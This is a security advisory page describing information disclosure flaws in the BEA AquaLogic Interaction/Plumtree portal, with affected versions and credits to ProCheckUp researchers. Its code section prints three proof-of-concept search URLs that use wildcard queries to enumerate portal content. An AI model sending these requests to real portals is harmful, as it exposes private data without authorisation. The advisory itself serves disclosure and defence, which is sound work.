exploits , vulnerabilities , articles , BEA AquaLogic Interaction Plumtree Portal Multiple Information Disclosure Vulnerabilities

Title	BEA AquaLogic Interaction Plumtree Portal Multiple Information Disclosure Vulnerabilities
Published	2007-11-28-12:00AM
Updated	2007-12-05-04:52PM
Class	Design Error
CVE	CVE-2007-6197 E-2007-6198
Remote	Yes
Local	No
Credit	Adrian Pastor <adrian.pastor [at] procheckup.com> and Jan Fry <jan.fry [at] procheckup.com> from ProCheckUp Ltd are credited with the discovery of these issues.
Vulnerable	BEA Systems Plumtree Foundation 5.0.4 BEA Systems Plumtree Foundation 5.0.3 BEA Systems Plumtree Foundation 5.0.2 BEA Systems Plumtree Foundation 6.0 SP1 BEA Systems Plumtree Foundation 6.0 BEA Systems AquaLogic Interaction 6.1 MP1 BEA Systems AquaLogic Interaction 6.0
Not Vulnerable
Code	Attackers can exploit these issues via a browser.The following proof-of-concept URIs are available:https://www.example.com/portal/server.pt?in_hi_req_objtype=1&amp;space=SearchResult&amp;in_tx_fulltext=*&amp;in_hi_req_ apps=1&amp;control=advancedstart&amp;in_hi_req_page=100&amp;parentname=AdvancedSearch&amp;in_ra_ topoperator=and https://www.example.com/portal/server.pt?in_hi_req_objtype=1&amp;space=SearchResult&amp;in_tx_fulltext=*admin*&amp;in_hi_ req_apps=1&amp;control=advancedstart&amp;in_hi_req_page=100&amp;parentname=AdvancedSearch&amp;in_ra_ topoperator=and https://www.example.com/portal/server.pt?in_hi_req_objtype=1&amp;space=SearchResult&amp;in_tx_fulltext=*test*&amp;in_hi_req_apps= 1&amp;control=advancedstart&amp;in_ hi_req_page=100&amp;parentname=AdvancedSearch&amp;in_ra_topoperator=and
TXT

Vulnerabilities - newest 10 RSS | More

• 2009-12-16 Horde Application Framework Administration Interface Cross-Site Scripting Vulnerability
• 2009-12-16 Mozilla Firefox and SeaMonkey MFSA 2009-65 through -71 Multiple Vulnerabilities
• 2009-12-16 Merkaartor Insecure Temporary File Creation Vulnerability
• 2009-12-15 TYPO3 Watchdog (aba_watchdog) Unspecified Information Disclosure Vulnerability
• 2009-12-15 PostgreSQL Index Function Session State Modification Local Privilege Escalation Vulnerability
• 2009-12-15 PostgreSQL NULL Character CA SSL Certificate Validation Security Bypass Vulnerability
• 2009-12-15 IBM DB2 prior to 9.5 Fix Pack 5 Multiple Unspecified Security Vulnerabilities
• 2009-12-15 Sun Ray Server Software Desktop Session Handling Local Security Bypass Vulnerability
• 2009-12-15 Mozilla Firefox Sage Extension RSS Feeds Cross Domain Scripting Vulnerability
• 2009-12-15 Adobe Reader and Acrobat (CVE-2009-4324) Remote Code Execution Vulnerability

• Vulnerabilities
• Exploits
• News
• Articles

Copyright 2007, SecurityDot
Wed, 16 Dec 2009 21:30:33 +0000